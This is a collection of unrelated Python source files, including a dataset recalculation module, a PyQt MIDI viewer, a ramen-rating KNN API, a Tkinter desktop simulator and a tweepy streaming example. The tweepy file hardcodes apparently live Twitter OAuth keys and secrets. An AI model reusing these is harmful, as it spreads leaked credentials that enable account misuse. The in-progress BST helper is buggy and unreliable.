'property' in template and len(template['property']) > 0:\n d = template['property'].copy()\n d['field'] = 'property'\n df = df.append(d)\n if 'parameter' in template and len(template['parameter']) > 0:\n d = template['parameter'].copy()\n d['field'] = 'parameter'\n df = df.append(d)\n df.index = range(len(df))\n #df['Ref'] = ['Ref_dummy_{}'.format(i) for i in range(len(df))]\n return df\n\ndef recalculate_dataset(f, error_folder, rounding_limits = {}, already_formatted = False):\n if not len(rounding_limits):\n rounding_limits = {'exchange amount': 1.0e-16, \n 'production volume': 1.0e-5, \n 'property': 0., \n 'parameter': 1.0e-15}\n if already_formatted:\n df = f.copy()\n baseline = {}\n elif isinstance(f, spold2.Dataset):\n #gather quantities from the data frame\n df = f.build_quantity_df(other_fields = ['mathematicalRelation', 'variableName', 'Ref'])\n baseline = f.baseline()\n \n elif isinstance(f, dict):\n df = arrange_template(f)\n columns = ['activityName', 'geography']\n baseline = dict(zip(columns, tuple(f['meta'].iloc[0][columns])))\n baseline['reference product'] = ''\n else:\n raise NotImplemented('function accepts a spold2_reader.Dataset, or an excel template')\n \n #some datasets have no mathematical relations to recalculate\n m = 'mathematicalRelation'\n df[m] = df[m].astype(str)\n has_mathematicalRelations = any(~df[m].apply(utils.is_empty))\n if has_mathematicalRelations:\n df = mathematicalRelation_correction(df)\n graph, logs = build_graph(df)\n if len(logs) == 0:\n df, logs = calculation_order(df, graph)\n if len(logs) == 0:\n df.index = range(len(df))\n df, logs = recalc(df, error_folder)\n if len(logs) == 0:\n logs = df[df['test'] != 'same']\n# if len(logs) > 0 and 'propertyName' not in logs: Not sure why the second condition was there\n if len(logs) > 0:\n logs['severity'] = 'warning'\n logs['message'] = 'recalculated amount different from stated amount'\n logs['case id'] = 28\n logs.rename(columns = {'amount': 'offending value', \n 'calculated amount': 'replaced by'}, inplace = True)\n logs['function'] = 'recalc'\n logs['tab'] = logs['field'].apply(find_tab)\n logs_ = [sel.to_dict() for i, sel in logs.iterrows()]\n logs = []\n for sel in logs_:\n if abs(sel['replaced by']) < rounding_limits[sel['field']]:\n keep = sel['replaced by']\n sel['replaced by'] = 0.\n logs.append(copy(sel))\n sel['case id'] = 143\n sel['offending value'] = keep\n sel['message'] = 'amount calculated was rounded to zero. Look for unintended consequences'.format(keep)\n logs.append(copy(sel))\n else:\n logs.append(copy(sel))\n else:\n logs = []\n else: logs = []\n for i in range(len(logs)):\n logs[i].update(baseline)\n if 'parentvalue' in logs[i]['message']:\n logs[i]['message'] = 'use of parent value in mathematicalRelation: unable to check for recalculation errors'\n logs[i]['severity'] = 'warning'\n if 'if(' in logs[i]['message']:\n logs[i]['message'] = 'use of if statements in mathematicalRelation: unable to check for recalculation errors'\n logs[i]['severity'] = 'warning'\n return df, logs\n\ndef error_to_excel(error_folder, df, step, baseline, errors):\n filename = 'recalc_error.xlsx'\n columns = ['group', 'propertyName', 'name', 'compartment', 'subcompartment', \n 'activityLink_activityName', 'activityLink_geography', 'field', \n 'amount', 'calculation order', 'variableName', 'mathematicalRelation']\n read_me = []\n for field in ['activityName', 'geography', 'reference product']:\n read_me.append([field, baseline[field]])\n read_me.append([''])\n read_me.append(['failed at step', step])\n read_me.append(['error messages'])\n for e in errors:\n read_me.append([e])\n if 'calculated amount' in df.columns:\n columns.append('calculated amount')\n utils.dataframe_to_excel(error_folder, filename, [(df.reset_index(), 'sheet1', columns)], \n allow_missing_columns = True, read_me = read_me)\n\ndef overwrite_recalc_in_template(dataset, new_logs):\n tabs = [tab for tab in ['exchanges', 'property', 'parameter'] if tab in dataset and len(dataset[tab])]\n for tab in tabs:\n if tab in dataset and len(dataset[tab]):\n dataset[tab] = utils.replace_empty_in_df(dataset[tab])\n dataset[tab] = dataset[tab].set_index(excel_template_utils.unique_identifiers[tab]\n ).sort_index(level=0)\n for sel in new_logs:\n if 'replaced by' in sel:\n index = tuple(sel[field] for field in excel_template_utils.unique_identifiers[sel['tab']])\n if sel['field'] == 'production volume':\n field = 'PV_amount'\n else:\n field = 'amount'\n dataset[sel['tab']].loc[index, field] = copy(sel['replaced by'])\n for tab in tabs:\n dataset[tab].reset_index(inplace = True)\n return dataset\n \n\nif __name__ == '__main__':\n folder = r'C:\\releases\\3.5\\Undefined\\datasets'\n filename = '03422_26bf096c-f506-4d70-a39d-72664a972df3_936059f1-6468-444f-a00d-fd59386943a3.spold'\n f = spold2.Dataset(folder, filename)\n error_folder = r'C:\\releases\\3.5\\Undefined\\linking'\n df, logs = recalculate_dataset(f, error_folder, rounding_limits = {}, from_linking = False)\n# df = f.build_quantity_df(other_fields = ['mathematicalRelation', 'variableName', 'Ref'])","sub_path":"modules/miscelanous/dataset_recalc.py","file_name":"dataset_recalc.py","file_ext":"py","file_size_in_byte":20482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"363545214","text":"from ..basic_data_structures.binary_tree import Node\n\n\"\"\"\nIN PROGRESS\n\"\"\"\n\ndef find_closest_value_in_bst(tree, target):\n return find_closest_value_helper(tree, target, float(\"inf\"))\n\ndef find_closest_value_helper(tree, target, closest):\n \"\"\"\n >>> test_tree = BST(100).insert(5).insert(15).insert(5).insert(2).insert(1).insert(22) \\\n .insert(1).insert(1).insert(3).insert(1).insert(1).insert(502).insert(55000) \\\n .insert(204).insert(205).insert(207).insert(206).insert(208).insert(203) \\\n .insert(-51).insert(-403).insert(1001).insert(57).insert(60).insert(4500)\n >>> find_closest_value_in_bst(test_tree, 200)\n >>> 203\n \"\"\"\n current_node = tree\n while current_node is not None:\n if abs(target - closest) > abs(current_node - tree.data):\n closest = current_node.data\n if target < current_node.data:\n current_node = current_node.left\n elif target > current_node.data:\n current_node = current_node.right\n else:\n break\n return closest \n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()","sub_path":"tree-problems/find_closest_value_in_bst.py","file_name":"find_closest_value_in_bst.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"28254872","text":"#!/Library/Frameworks/Python.framework/Versions/3.2/bin:/usr/bin python3.2\n\nfrom collections import Counter\n\n# read the text from the file\nmess = open(\"2.txt\", \"r\").read()\n\n# count the occurrences of each character\ncnt = Counter(mess);\n\n# join the characters that only have 1 occurrence in the order that they appear\nprint(''.join(ch for ch in mess if cnt[ch] == 1))\n","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"200142103","text":"#!/usr/bin/env python3\n\"\"\"A utility to receive MIDI messages and display them in a PyQt5 GUI text box.\"\"\"\n################################################################\n# Written in 2018 by Garth Zeglin <garthz@cmu.edu>\n\n# To the extent possible under law, the author has dedicated all copyright\n# and related and neighboring rights to this software to the public domain\n# worldwide. This software is distributed without any warranty.\n\n# You should have received a copy of the CC0 Public Domain Dedication along with this software.\n# If not, see <http://creativecommons.org/publicdomain/zero/1.0/>.\n\n################################################################\n# standard Python libraries\nfrom __future__ import print_function\nimport os, sys, struct, time, logging, functools, queue\n\n# for documentation on the PyQt5 API, see http://pyqt.sourceforge.net/Docs/PyQt5/index.html\nfrom PyQt5 import QtCore, QtGui, QtWidgets, QtNetwork\n\n# for documentation on python-rtmidi: https://pypi.org/project/python-rtmidi/\nimport rtmidi\n\n################################################################\nclass MIDIDisplay(QtWidgets.QMainWindow):\n \"\"\"A custom main window which provides all GUI controls.\"\"\"\n\n def __init__( self, *args, **kwargs):\n super(MIDIDisplay,self).__init__()\n\n # create the GUI elements\n self.setupUi()\n\n # finish initialization\n self.show()\n\n # manage the console output across threads\n self.console_queue = queue.Queue()\n self.console_timer = QtCore.QTimer()\n self.console_timer.timeout.connect(self._poll_console_queue)\n self.console_timer.start(50) # units are milliseconds\n \n return\n\n # ------------------------------------------------------------------------------------------------\n def setupUi(self):\n self.setWindowTitle(\"MIDI Display\")\n self.resize(500, 300)\n\n self.centralwidget = QtWidgets.QWidget(self)\n self.setCentralWidget(self.centralwidget)\n self.verticalLayout = QtWidgets.QVBoxLayout(self.centralwidget)\n self.verticalLayout.setContentsMargins(-1, -1, -1, 9) # left, top, right, bottom\n\n # generate fields for configuring the MIDI listener\n self.inputSelectorLayout = QtWidgets.QHBoxLayout()\n self.inputSelectorLabel = QtWidgets.QLabel()\n self.inputSelectorLabel.setText(\"MIDI source:\")\n self.inputSelector = QtWidgets.QComboBox()\n self.inputSelector.addItem(\"<no source selected>\")\n self.inputSelectorLayout.addWidget(self.inputSelectorLabel)\n self.inputSelectorLayout.addWidget(self.inputSelector)\n self.verticalLayout.addLayout(self.inputSelectorLayout)\n self.inputSelector.activated['QString'].connect(self.chooseInput)\n \n # generate a text area\n self.consoleOutput = QtWidgets.QPlainTextEdit()\n self.consoleOutput.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded)\n self.verticalLayout.addWidget(self.consoleOutput)\n\n # set up the status bar which appears at the bottom of the window\n self.statusbar = QtWidgets.QStatusBar(self)\n self.setStatusBar(self.statusbar)\n\n # set up the main menu\n self.menubar = QtWidgets.QMenuBar(self)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 500, 22))\n self.menubar.setNativeMenuBar(False)\n self.menubar.setObjectName(\"menubar\")\n self.menuTitle = QtWidgets.QMenu(self.menubar)\n self.setMenuBar(self.menubar)\n self.actionQuit = QtWidgets.QAction(self)\n self.menuTitle.addAction(self.actionQuit)\n self.menubar.addAction(self.menuTitle.menuAction())\n self.menuTitle.setTitle(\"File\")\n self.actionQuit.setText(\"Quit\")\n self.actionQuit.setShortcut(\"Ctrl+Q\")\n self.actionQuit.triggered.connect(self.quitSelected)\n\n return\n\n # --- window and qt event processing -------------------------------------------------------------\n def show_status(self, string):\n self.statusbar.showMessage(string)\n\n def _poll_console_queue(self):\n \"\"\"Write any queued console text to the console text area from the main thread.\"\"\"\n while not self.console_queue.empty():\n string = str(self.console_queue.get())\n self.consoleOutput.appendPlainText(string)\n return\n \n def write(self, string):\n \"\"\"Write output to the console text area in a thread-safe way. Qt only allows\n calls from the main thread, but the service routines run on separate threads.\"\"\"\n self.console_queue.put(string)\n return\n\n def quitSelected(self):\n self.write(\"User selected quit.\")\n self.close()\n\n def closeEvent(self, event):\n self.write(\"Received window close event.\")\n super(MIDIDisplay,self).closeEvent(event)\n\n # --------------------------------------------------------------------------------------------------\n def chooseInput(self, name):\n \"\"\"Called when the user selects a MIDI source.\"\"\"\n self.show_status(\"Listening to %s.\" % name)\n self.main.open_input(name)\n return\n\n################################################################\nclass MainApp(object):\n \"\"\"Main application object holding any non-GUI related state.\"\"\"\n\n def __init__(self):\n\n # global state\n self.listener_address = \"localhost\"\n self.listener_portnum = 3761\n self.port = None\n\n # create the interface window\n self.window = MIDIDisplay()\n self.window.main = self\n\n # Initialize the MIDI input system and read the currently available ports.\n self.midi_in = rtmidi.MidiIn()\n self.midi_ports = self.midi_in.get_ports()\n\n for port in self.midi_ports:\n self.window.inputSelector.addItem(port)\n\n self.window.show_status(\"Please choose a source to display MIDI.\")\n return\n\n def open_input(self, name):\n if self.midi_in.is_port_open():\n self.midi_in.close_port()\n self.midi_in = rtmidi.MidiIn()\n self.midi_ports = self.midi_in.get_ports()\n \n idx = self.midi_ports.index(name)\n self.midi_in.open_port(idx)\n self.midi_in.set_callback(self.midi_received)\n\n def midi_received(self, data, unused):\n msg, delta_time = data\n self.window.write(\"%f: %s\" % (delta_time, str(msg)))\n\n################################################################\n\ndef main():\n # initialize the Qt system itself\n app = QtWidgets.QApplication(sys.argv)\n\n # create the main application controller\n main = MainApp()\n\n # run the event loop until the user is done\n logging.info(\"Starting event loop.\")\n sys.exit(app.exec_())\n\n################################################################\n# Main script follows. This sequence is executed when the script is initiated from the command line.\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"midi_display.py","file_name":"midi_display.py","file_ext":"py","file_size_in_byte":6947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"625518048","text":"import pandas as pd\nimport uvicorn\n\nfrom fastapi import FastAPI\nfrom pydantic import BaseModel\n\nfrom typing import List\n\nimport numpy as np\n\n\nclass Point:\n def __init__(self, x, y, label=None):\n self.x = x\n self.y = y\n self.label = label\n self.distance = None\n\n def __str__(self):\n return f\"({self.x}, {self.y})\"\n\n def __lt__(self, other):\n return self.distance < other.distance\n\n\nclass KNN:\n def __init__(self, k: int, data: List[Point], debug=False):\n self.k = k\n self.data = data\n self.debug = debug\n\n def distance(self, x: Point, y: Point):\n if x is None or y is None:\n return \"Unable to do anything\"\n\n if x.x is None or x.y is None or y.x is None or y.y is None:\n return \"Unable to classify\"\n\n return np.sqrt(np.square(x.x - y.x) + np.square(x.y - y.y))\n\n def predict(self, input_value: Point):\n unique_labels = []\n for p in self.data:\n p.distance = self.distance(p, input_value)\n if p.label not in unique_labels:\n unique_labels.append(p.label)\n\n self.data.sort()\n k_nearest = self.data[:self.k]\n\n dominant_class = {}\n for label in unique_labels:\n dominant_class[label] = 0\n\n for p in k_nearest:\n dominant_class[p.label] += 1\n\n if self.debug:\n print(dominant_class)\n\n return max(dominant_class, key=dominant_class.get)\n\n\nstyle_ratings = {\n 'Can': 3.5,\n 'Cup': 3.4984999999999995,\n 'Tray': 3.545138888888889,\n 'Bar': 5.0,\n 'Bowl': 3.6706860706860707,\n 'Box': 4.291666666666667,\n 'Pack': 3.7004581151832467\n}\n\ncountry_ratings = {\n 'Bangladesh': 3.7142857142857144,\n 'Brazil': 4.35,\n 'Cambodia': 4.2,\n 'Fiji': 3.875,\n 'Hong Kong': 3.8018248175182485,\n 'Indonesia': 4.067460317460317,\n 'Japan': 3.981605113636364,\n 'Malaysia': 4.154193548387097,\n 'Mexico': 3.73,\n 'Myanmar': 3.9464285714285716,\n 'Sarawak': 4.333333333333333,\n 'Singapore': 4.126146788990826,\n 'South Korea': 3.7905537459283383,\n 'Taiwan': 3.665401785714286,\n 'United States': 3.75,\n 'Australia': 3.1386363636363637,\n 'Canada': 2.2439024390243905,\n 'China': 3.4218934911242602,\n 'Colombia': 3.2916666666666665,\n 'Dubai': 3.5833333333333335,\n 'Estonia': 3.5,\n 'Finland': 3.5833333333333335,\n 'Germany': 3.638888888888889,\n 'Ghana': 3.5,\n 'Holland': 3.5625,\n 'Hungary': 3.611111111111111,\n 'India': 3.3951612903225805,\n 'Nepal': 3.5535714285714284,\n 'Netherlands': 2.4833333333333334,\n 'Nigeria': 1.5,\n 'Pakistan': 3.0,\n 'Philippines': 3.3297872340425534,\n 'Poland': 3.625,\n 'Sweden': 3.25,\n 'Thailand': 3.3848167539267022,\n 'UK': 2.9971014492753625,\n 'USA': 3.457043343653251,\n 'Vietnam': 3.187962962962963\n}\n\naverage = 3.6546759798214974\n\n\ndef generate_ramen_point(country: str, style: str):\n try:\n style_value = style_ratings[style]\n country_value = country_ratings[country]\n return Point(style_value, country_value)\n except KeyError as e:\n return f\"No data on input {str(e)}\"\n\ndef can_classify_ramen(country: str, style: str) -> bool:\n try:\n _, _ = style_ratings[style], country_ratings[country]\n return True\n except KeyError as e:\n print(f\"No data on input {str(e)}\")\n return False\n\n\nclass EatTheRamen:\n def __init__(self):\n df = pd.read_csv(\"final_ramen.csv\")\n\n style_points = df['Style_value_jitter']\n country_points = df['Country_value_jitter']\n labels = df['label'].astype(str)\n\n points = []\n for i in range(len(style_points)):\n points.append(Point(style_points[i], country_points[i], labels[i]))\n\n model = KNN(15, points)\n\n self.model = model\n\n\ndef get_style_docs(value, description: str):\n ratings = dict(sorted(value.items(), key=lambda item: item[1]))\n ratings_keys = [str(x) for x in list(ratings.keys())]\n ratings_values = [\"{:.2f}\".format(x) for x in list(ratings.values())]\n\n doc = \"\\n\" + description + \" (Key, average review score)\\n\\n\"\n doc += \"Above Average:\\n\"\n for i in range(len(ratings_keys)):\n if float(ratings_values[i]) > average:\n doc += \"'\" + ratings_keys[i] + \"': \" + ratings_values[i] + \"\\n\"\n\n doc += \"\\nBelow Average:\\n\"\n for i in range(len(ratings_keys)):\n if float(ratings_values[i]) <= average:\n doc += \"'\" + ratings_keys[i] + \"': \" + ratings_values[i] + \"\\n\"\n\n return doc\n\n\n# FastAPI App and the Model\napp = FastAPI(title=\"Is the ramen good?\",\n description=\"Provide how your ramen will be served/how it was packaged, \"\n \"selected from the following list ():\\n\\n\" +\n get_style_docs(style_ratings, 'Ratings for Ramen packaging/serving style') +\n \"\\n\\nand what country your ramen was made in from these options:\\n\\n\" +\n get_style_docs(country_ratings, 'Ratings for Ramen made in specific countries'))\n\neatTheRamenator = EatTheRamen()\n\n\n# Pydantic Models\nclass EatTheRamenSchema(BaseModel):\n eat_the_ramen: str\n\n\nclass RamenInput(BaseModel):\n country: str\n style: str\n\n\n@app.get(\"/\")\nasync def root():\n return {\n \"Localhost\": 'http://127.0.0.1:5000/docs#/default/should_i_eat_the_ramen_ramen_get',\n \"Hosted\": 'https://homemetricsdev.uc.r.appspot.com/docs#/default/should_i_eat_the_ramen_ramen_post'\n }\n\n\n@app.post(\"/ramen\",\n response_model=EatTheRamenSchema,\n description=\"Press 'Try it out' and then enter where your ramen is from \"\n \"and how its served/packaged from the list above! Then press\"\n \"'Execute' and let the algorithm determine whether the ramen\"\n \"is likely to be tasty 🍜\"\n )\nasync def should_i_eat_the_ramen(ramen: RamenInput):\n if can_classify_ramen(ramen.country, ramen.style):\n print(\"can classify\")\n result = eatTheRamenator.model.predict(generate_ramen_point(ramen.country, ramen.style))\n else:\n print(\"cannot classify\")\n result = generate_ramen_point(ramen.country, ramen.style)\n\n print(result)\n\n return EatTheRamenSchema(\n eat_the_ramen=result\n )\n\n\nif __name__ == \"__main__\":\n uvicorn.run(\"ramen_classification:app\", host=\"127.0.0.1\", port=5000, log_level=\"info\")\n","sub_path":"examples/ramen_classification.py","file_name":"ramen_classification.py","file_ext":"py","file_size_in_byte":6464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"123462711","text":"import logging\nimport yaml\n\nfrom scanapi.config_loader import load_config_file\nfrom scanapi.errors import (\n BadConfigurationError,\n EmptyConfigFileError,\n InvalidKeyError,\n InvalidPythonCodeError,\n)\nfrom scanapi.exit_code import ExitCode\nfrom scanapi.reporter import Reporter\nfrom scanapi.session import session\nfrom scanapi.settings import settings\nfrom scanapi.tree import EndpointNode\nfrom scanapi.tree.tree_keys import ROOT_SCOPE\n\nlogger = logging.getLogger(__name__)\n\n\ndef scan():\n \"\"\" Caller function that tries to scans the file and write the report. \"\"\"\n spec_path = settings[\"spec_path\"]\n\n try:\n api_spec = load_config_file(spec_path)\n except FileNotFoundError as e:\n error_message = f\"Could not find API spec file: {spec_path}. {str(e)}\"\n logger.error(error_message)\n raise SystemExit(ExitCode.USAGE_ERROR)\n except EmptyConfigFileError as e:\n error_message = f\"API spec file is empty. {str(e)}\"\n logger.error(error_message)\n raise SystemExit(ExitCode.USAGE_ERROR)\n except yaml.YAMLError as e:\n error_message = \"Error loading specification file.\"\n error_message = \"{}\\nPyYAML: {}\".format(error_message, str(e))\n logger.error(error_message)\n raise SystemExit(ExitCode.USAGE_ERROR)\n\n try:\n root_node = EndpointNode(api_spec)\n results = root_node.run()\n\n except (InvalidKeyError, KeyError, InvalidPythonCodeError,) as e:\n error_message = \"Error loading API spec.\"\n error_message = \"{} {}\".format(error_message, str(e))\n logger.error(error_message)\n raise SystemExit(ExitCode.USAGE_ERROR)\n\n try:\n write_report(results)\n except (BadConfigurationError, InvalidPythonCodeError) as e:\n logger.error(e)\n raise SystemExit(ExitCode.USAGE_ERROR)\n\n session.exit()\n\n\ndef write_report(results):\n \"\"\" Constructs a Reporter object and calls the write method of Reporter to push\n the results to a file.\n \"\"\"\n reporter = Reporter(settings[\"output_path\"], settings[\"template\"])\n reporter.write(results)\n","sub_path":"scanapi/scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"622642600","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nfrom tkinter import messagebox\r\nimport datetime\r\nimport calendar\r\nimport os.path\r\nfrom sys import platform\r\nimport os\r\nimport sys\r\nfrom configparser import ConfigParser\r\nimport time\r\nfrom time import strftime\r\nimport subprocess\r\n\r\nroot = Tk()\r\nroot.title('Gamesim')\r\nroot.geometry('1870x1080')\r\nroot.attributes('-fullscreen', True)\r\nconfig = ConfigParser()\r\nconfig.read('main/savedata/savefile.ini')\r\ndirectory = os.getcwd()\r\n\r\n\r\nnow = datetime.datetime.now()\r\nyear = now.year\r\nmonth = now.month\r\nday = now.day\r\n\r\n\r\nmonthes = ['None', 'January', 'February', 'March', 'April', 'May', 'June', 'July', 'Augest', 'September', 'October', 'November', 'December']\r\niconx = int(config['DEFAULT']['iconx'])\r\napps = int(config['DEFAULT']['apps'])\r\nallapps = config['DEFAULT']['allapps']\r\ngames = int(config['DEFAULT']['games'])\r\nallgames = config['DEFAULT']['allgames']\r\ncoins = int(config['DEFAULT']['coins'])\r\ntime_now = f'{day}.{month}.{year}'\r\nbackground_image = ['bg/wallpaper0.png', 'bg/wallpaper1.png']\r\nimage = int(config['DEFAULT']['image'])\r\ntoolbar_color = config['DEFAULT']['toolbar_color']\r\nids = []\r\npassword = config['DEFAULT']['password']\r\n\r\n# Functions\r\ndef time():\r\n\tstring = strftime('%H:%M:%S')\r\n\ttimelabel.config(text = string)\r\n\ttimelabel.after(1000, time)\r\n# earning codes\r\ndef earn10():\r\n\tglobal coins, config\r\n\tconfig.set('DEFAULT', 'coins', str(coins+10))\r\n\tcoins += 10\r\n\r\ndef earn20():\r\n\tglobal coins, config\r\n\tconfig.set('DEFAULT', 'coins', str(coins+20))\r\n\tcoins += 20\r\n\r\ndef earn50():\r\n\tglobal coins, config\r\n\tconfig.set('DEFAULT', 'coins', str(coins+50))\r\n\tcoins += 50\r\n\r\ndef earn100():\r\n\tglobal coins, config\r\n\tconfig.set('DEFAULT', 'coins', str(coins+100))\r\n\tcoins += 100\r\n# Returns\r\ndef returncoins():\r\n\tglobal coins\r\n\treturn coins\r\ndef returnapps():\r\n\tglobal apps\r\n\treturn apps\r\ndef returnallapps():\r\n\tglobal allapps\r\n\treturn allapps\r\ndef returngames():\r\n\tglobal games\r\n\treturn games\r\ndef returnallgames():\r\n\tglobal allgames\r\n\treturn allgames\r\n\r\n#updates\r\ndef update():\r\n\tos.execl(sys.executable, sys.executable, *sys.argv)\r\n\t\r\n# main things\r\ndef startapp(appid):\r\n\troot.destroy()\r\n\timport appid\r\ndef quit():\r\n\tglobal config, root\r\n\tconfig.set('DEFAULT', 'entered_desktop_without_perms', 'True')\r\n\tMsgBox1 = messagebox.askquestion('Are you sure?', 'Are you sure you want to quit?', icon = 'warning')\r\n\tif MsgBox1 == 'yes':\r\n\t\twith open('main/savedata/savefile.ini', 'w') as configfile:\r\n\t\t\tconfig.write(configfile)\r\n\t\tsys.exit()\r\n\r\n\r\n\r\n\r\nmain = Frame(root)\r\nxmain = -2\r\nymain = -2\r\n\r\n# icons\r\nshutdown_ico = PhotoImage(file='main/icons/shut_down.png')\r\n\r\ncmd_ico = PhotoImage(file='main/icons/CMD.png')\r\nsettings_ico = PhotoImage(file='main/icons/settings.png')\r\n\r\n\r\n\r\n\r\nbackg = PhotoImage(file=f'main/{background_image[image]}')\r\nbackground = Label(main, image=backg)\r\ntool = Frame(background, bg=toolbar_color, width=1870, height=50)\r\ndate = Label(tool, text=time_now, fg='white', bg=toolbar_color, font='Arial 11')\r\ntimelabel = Label(tool, text='Time_Eror', fg='white', bg=toolbar_color, font='Arial 15')\r\nshutdown = Button(tool, image=shutdown_ico, bg=toolbar_color, highlightthickness=0, relief=FLAT, command=quit)\r\nborder1 = Frame(tool, bg='grey', height=45, width=2)\r\nyborder1 = 2\r\n\r\n#game icons\r\ndef cmdopen():\r\n\tos.system(f'python {directory}\\\\main\\\\appdata\\\\CMD_app.py')\r\n\r\nsettings_open = False\r\ndef settingsopen():\r\n\tglobal settings_open\r\n\tsettings_open = True\r\n\tos.system(f'python {directory}\\\\main\\\\appdata\\\\settings_app.py')\r\n\tif 'normal' == root.state():\r\n\t\tupdate()\r\ncmd_enter = Button(tool, image=cmd_ico, bg=toolbar_color, highlightthickness=0, relief=FLAT, command=cmdopen)\r\nsettings_enter = Button(tool, image=settings_ico, bg=toolbar_color, highlightthickness=0, relief=FLAT, command=settingsopen)\r\n\r\n#placement of buttons\r\nsettings_enter.place(x=68, y=5)\r\ncmd_enter.place(x=108, y=5)\r\n\r\n\r\n\r\n\r\n\r\n# \r\nmain.place(x=xmain, y=ymain)\r\ntool.place(x=0, y=815)\r\nbackground.pack(expand=True)\r\ndate.place(x=1440, y=25)\r\ntimelabel.place(x=1430, y=0)\r\nborder1.place(x=60, y=yborder1)\r\nshutdown.place(x=12, y=5)\r\n\r\ntime()\r\nif platform == \"darwin\":\r\n platform_error = messagebox.showwarning('You might expect some bugs.', 'Becouse your using a mac, there can be bugs.', icon='warning')\r\n\r\n\r\nif config['DEFAULT']['entered_desktop_without_perms'] == 'True':\r\n\tMsgBox1 = messagebox.showwarning('You didnt enter the password', 'Enter the password', icon='warning')\r\n\troot.destroy()\r\nroot.mainloop()\r\n","sub_path":"interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":4480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"231744627","text":"# -*- coding:utf-8 -*-\n# Core Django imports\nfrom django.test import TestCase\n\n# Relative imports of the 'app-name' package\nfrom ..models import Organization\nfrom ...contacts.models import Contact\n\n\nclass PhoneTest(TestCase):\n \"\"\"\n Class to test the model\n Organization\n \"\"\"\n\n def setUp(self):\n \"\"\"\n Set up all the tests\n \"\"\"\n self.organization = Organization.objects.create(\n company='Karian Lab',\n contact=Contact.objects.create(\n first_name='María',\n last_name='Pérez'\n )\n )\n\n def test_organization_str(self):\n self.assertEqual(str(self.organization),\n self.organization.company)\n","sub_path":"kratzz/applications/organizations/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"302660399","text":"from sklearn.metrics import confusion_matrix, accuracy_score\nimport numpy as np\n\nif __name__ == '__main__':\n\n y_true = np.array([2, 0, 2, 2, 0, 1])\n y_pred = np.array([0, 0, 2, 2, 0, 2])\n matrix = confusion_matrix(y_true, y_pred)\n print(matrix.diagonal()/matrix.sum(axis=1))\n print(matrix)\n\n for label in np.unique(y_true):\n mask = y_true == label\n accuracy = accuracy_score(y_true[mask], y_pred[mask])\n print(f'Accuracy for label {label}: {accuracy}')","sub_path":"Exam/LAB4/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"297656168","text":"'''\nThe Twitter streaming API is used to download twitter messages in real time. It is useful for obtaining a high volume of tweets, or for \ncreating a live feed using a site stream or user stream. See the Twitter Streaming API Documentation.\n\nThe streaming api is quite different from the REST api because the REST api is used to pull data from twitter but the streaming api \npushes messages to a persistent session. This allows the streaming api to download more data in real time than could be done using \nthe REST API.\n\nIn Tweepy, an instance of tweepy.Stream establishes a streaming session and routes messages to StreamListener instance. The on_data \nmethod of a stream listener receives all messages and calls functions according to the message type. The default StreamListener can \nclassify most common twitter messages and routes them to appropriately named methods, but these methods are only stubs.\n\nTherefore using the streaming api has three steps.\n1. Create a class inheriting from StreamListener\n2. Using that class create a Stream object\n3. Connect to the Twitter API using the Stream.\n'''\n\n# Import package\nimport tweepy\n\n# Store OAuth authentication credentials in relevant variables\naccess_token = \"1092294848-aHN7DcRP9B4VMTQIhwqOYiB14YkW92fFO8k8EPy\"\naccess_token_secret = \"X4dHmhPfaksHcQ7SCbmZa2oYBBVSD2g8uIHXsp5CTaksx\"\nconsumer_key = \"nZ6EA0FxZ293SxGNg8g8aP0HM\"\nconsumer_secret = \"fJGEodwe3KiKUnsYJC3VRndj7jevVvXbK2D5EiJ2nehafRgA6i\"\n\n# Pass OAuth details to tweepy's OAuth handler\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\n\n# Initialize Stream listener\nl = MyStreamListener()\n\n# Create you Stream object with authentication\nstream = tweepy.Stream(auth, l)\n\n# Filter Twitter Streams to capture data by the keywords:\nstream.filter(track=['clinton', 'trump', 'sanders', 'cruz'])\n\n\n# Create a stream listener\nclass MyStreamListener(tweepy.StreamListener):\n def __init__(self,api=None):\n super(MyStreamListener, self).__init__()\n self.num_tweets = 0\n self.file = open(\"tweets.txt\", \"w\")\n \n def on_status(self, status):\n tweet = status._json\n self.file.write(json.dumps(tweet) + '\\n')\n tweet_list.append(status)\n self.num_tweets += 1\n # Stop streaming when the number of tweets is larger than or equal to 20\n if self.num_tweets < 20:\n return True\n else:\n return False\n self.file.close()\n","sub_path":"import_data/Tweeter_Streaming_API.py","file_name":"Tweeter_Streaming_API.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"365253687","text":"from control import *\n\ncontrol=Control()\npro_name=input(\"请输入进程名:\")\npro_size=int(input(\"请输入进程大小(k):\"))\ncontrol.process_request(Process(pro_name,pro_size))\n\n#逻辑地址映射 \nlog_address=[]\nlog_address.append(int(input(\"请输入页号:\")))\nlog_address.append(int(input(\"请输入偏移量:\")))\n\nprint(control.mapping(log_address)) #映射\n\ncontrol.release() 